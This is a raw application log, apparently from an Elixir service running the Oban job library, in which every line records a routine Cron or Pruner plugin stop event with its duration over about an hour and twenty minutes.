20:15:00.894 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:15:19.535 [info] {"source":"oban","duration":2803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:49.539 [info] {"source":"oban","duration":2522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.898 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:16:19.542 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:49.551 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.906 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:17:19.557 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:49.562 [info] {"source":"oban","duration":2620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.909 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:18:19.568 [info] {"source":"oban","duration":3264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:49.572 [info] {"source":"oban","duration":2776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.913 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:19:19.576 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:49.582 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.917 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:20:19.586 [info] {"source":"oban","duration":2355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:49.593 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:00.928 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:21:19.596 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:21:49.599 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:00.938 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:22:19.603 [info] {"source":"oban","duration":2141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:22:49.608 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:00.940 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:23:19.612 [info] {"source":"oban","duration":2288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:23:49.619 [info] {"source":"oban","duration":4948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:00.942 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:24:19.624 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:24:49.634 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:00.947 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:25:19.641 [info] {"source":"oban","duration":2354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:25:49.645 [info] {"source":"oban","duration":2431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:00.950 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:26:19.649 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:26:49.653 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:00.956 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:27:19.663 [info] {"source":"oban","duration":1850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:27:49.671 [info] {"source":"oban","duration":2591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:00.960 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:28:19.677 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:28:49.685 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.963 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:29:19.693 [info] {"source":"oban","duration":2462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:49.698 [info] {"source":"oban","duration":3481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.968 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:30:19.702 [info] {"source":"oban","duration":2720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:49.707 [info] {"source":"oban","duration":3227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.970 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:31:19.715 [info] {"source":"oban","duration":2466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:49.719 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.972 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:19.727 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:49.731 [info] {"source":"oban","duration":2461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.980 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:33:19.744 [info] {"source":"oban","duration":3110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:49.749 [info] {"source":"oban","duration":4095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.982 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:34:19.754 [info] {"source":"oban","duration":2379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:49.767 [info] {"source":"oban","duration":4239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.993 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:35:19.778 [info] {"source":"oban","duration":8432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:49.785 [info] {"source":"oban","duration":3619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.997 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:36:19.790 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:49.794 [info] {"source":"oban","duration":3574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:01.002 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:37:19.804 [info] {"source":"oban","duration":3344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:49.816 [info] {"source":"oban","duration":4323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.004 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:38:19.827 [info] {"source":"oban","duration":2947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:49.832 [info] {"source":"oban","duration":2570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.008 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:39:19.836 [info] {"source":"oban","duration":2810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:49.850 [info] {"source":"oban","duration":3310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.011 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:40:19.859 [info] {"source":"oban","duration":3404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:49.874 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.014 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:41:19.879 [info] {"source":"oban","duration":2751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:49.885 [info] {"source":"oban","duration":3316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.018 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:42:19.890 [info] {"source":"oban","duration":3091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:49.894 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.023 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:43:19.898 [info] {"source":"oban","duration":2494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:49.903 [info] {"source":"oban","duration":4726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.027 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:44:19.909 [info] {"source":"oban","duration":2347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:49.912 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.030 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:45:19.920 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:49.925 [info] {"source":"oban","duration":2709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.031 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:46:19.929 [info] {"source":"oban","duration":2425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:49.932 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.034 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:47:19.938 [info] {"source":"oban","duration":2016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:49.942 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.039 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:19.950 [info] {"source":"oban","duration":3047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:49.952 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.042 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:49:19.956 [info] {"source":"oban","duration":3376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:49.964 [info] {"source":"oban","duration":2874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.045 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:50:19.969 [info] {"source":"oban","duration":2662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:49.976 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.048 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:51:19.987 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:49.995 [info] {"source":"oban","duration":2340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.053 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:20.000 [info] {"source":"oban","duration":2557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:50.004 [info] {"source":"oban","duration":2328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.062 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:20.009 [info] {"source":"oban","duration":3509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:50.016 [info] {"source":"oban","duration":2646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.066 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:20.021 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:50.024 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.068 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:20.028 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:50.032 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.070 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:20.036 [info] {"source":"oban","duration":2497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:50.041 [info] {"source":"oban","duration":2426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.073 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:20.047 [info] {"source":"oban","duration":3001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:50.052 [info] {"source":"oban","duration":2304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.076 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:20.057 [info] {"source":"oban","duration":2860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:50.066 [info] {"source":"oban","duration":2549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.077 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:20.071 [info] {"source":"oban","duration":2453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:50.076 [info] {"source":"oban","duration":2616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.079 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:00:20.080 [info] {"source":"oban","duration":2488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:50.085 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.081 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:01:20.090 [info] {"source":"oban","duration":2571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:50.095 [info] {"source":"oban","duration":2635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.087 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:02:20.099 [info] {"source":"oban","duration":2478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:50.104 [info] {"source":"oban","duration":2715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.095 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:20.107 [info] {"source":"oban","duration":2544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:50.110 [info] {"source":"oban","duration":2624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.097 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:20.114 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:50.117 [info] {"source":"oban","duration":2248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.098 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:20.125 [info] {"source":"oban","duration":2720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:50.129 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.101 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:20.133 [info] {"source":"oban","duration":2670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:50.139 [info] {"source":"oban","duration":3129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.103 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:20.146 [info] {"source":"oban","duration":2255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:50.152 [info] {"source":"oban","duration":2820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.112 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:20.166 [info] {"source":"oban","duration":3151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:50.178 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.114 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:20.187 [info] {"source":"oban","duration":3579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:50.191 [info] {"source":"oban","duration":2578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.117 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:20.195 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:50.209 [info] {"source":"oban","duration":2357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.121 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:20.214 [info] {"source":"oban","duration":2860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:50.219 [info] {"source":"oban","duration":2679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.129 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:20.225 [info] {"source":"oban","duration":2488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:50.228 [info] {"source":"oban","duration":2310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.130 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:20.235 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:50.243 [info] {"source":"oban","duration":2887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.136 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:20.247 [info] {"source":"oban","duration":2709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:50.251 [info] {"source":"oban","duration":2334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.139 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:20.257 [info] {"source":"oban","duration":2973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:50.263 [info] {"source":"oban","duration":3886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.142 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:20.266 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:50.274 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.145 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:20.283 [info] {"source":"oban","duration":3170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:50.288 [info] {"source":"oban","duration":3451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.151 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:20.297 [info] {"source":"oban","duration":2604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:50.306 [info] {"source":"oban","duration":3173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.154 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:20.313 [info] {"source":"oban","duration":2894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:50.319 [info] {"source":"oban","duration":3431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.157 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:20:20.324 [info] {"source":"oban","duration":3674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:50.329 [info] {"source":"oban","duration":2841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.157 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:21:20.339 [info] {"source":"oban","duration":2266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:50.345 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:00.160 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:22:20.351 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:50.356 [info] {"source":"oban","duration":2456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.162 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:20.362 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:50.370 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.167 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:20.378 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:50.386 [info] {"source":"oban","duration":3641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.176 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:20.392 [info] {"source":"oban","duration":2646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:50.396 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.180 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:20.402 [info] {"source":"oban","duration":2444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:50.410 [info] {"source":"oban","duration":3236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.182 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:20.422 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:50.427 [info] {"source":"oban","duration":2554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.184 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:20.432 [info] {"source":"oban","duration":3024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:50.445 [info] {"source":"oban","duration":3968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.186 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:20.451 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:50.464 [info] {"source":"oban","duration":5688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.197 [info] {"source":"oban","duration":8698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:20.470 [info] {"source":"oban","duration":3195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:50.475 [info] {"source":"oban","duration":3101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.201 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:20.484 [info] {"source":"oban","duration":3131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:50.489 [info] {"source":"oban","duration":3479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.204 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:20.495 [info] {"source":"oban","duration":2675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:50.500 [info] {"source":"oban","duration":2691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.208 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:20.509 [info] {"source":"oban","duration":3382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:50.516 [info] {"source":"oban","duration":2404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.210 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 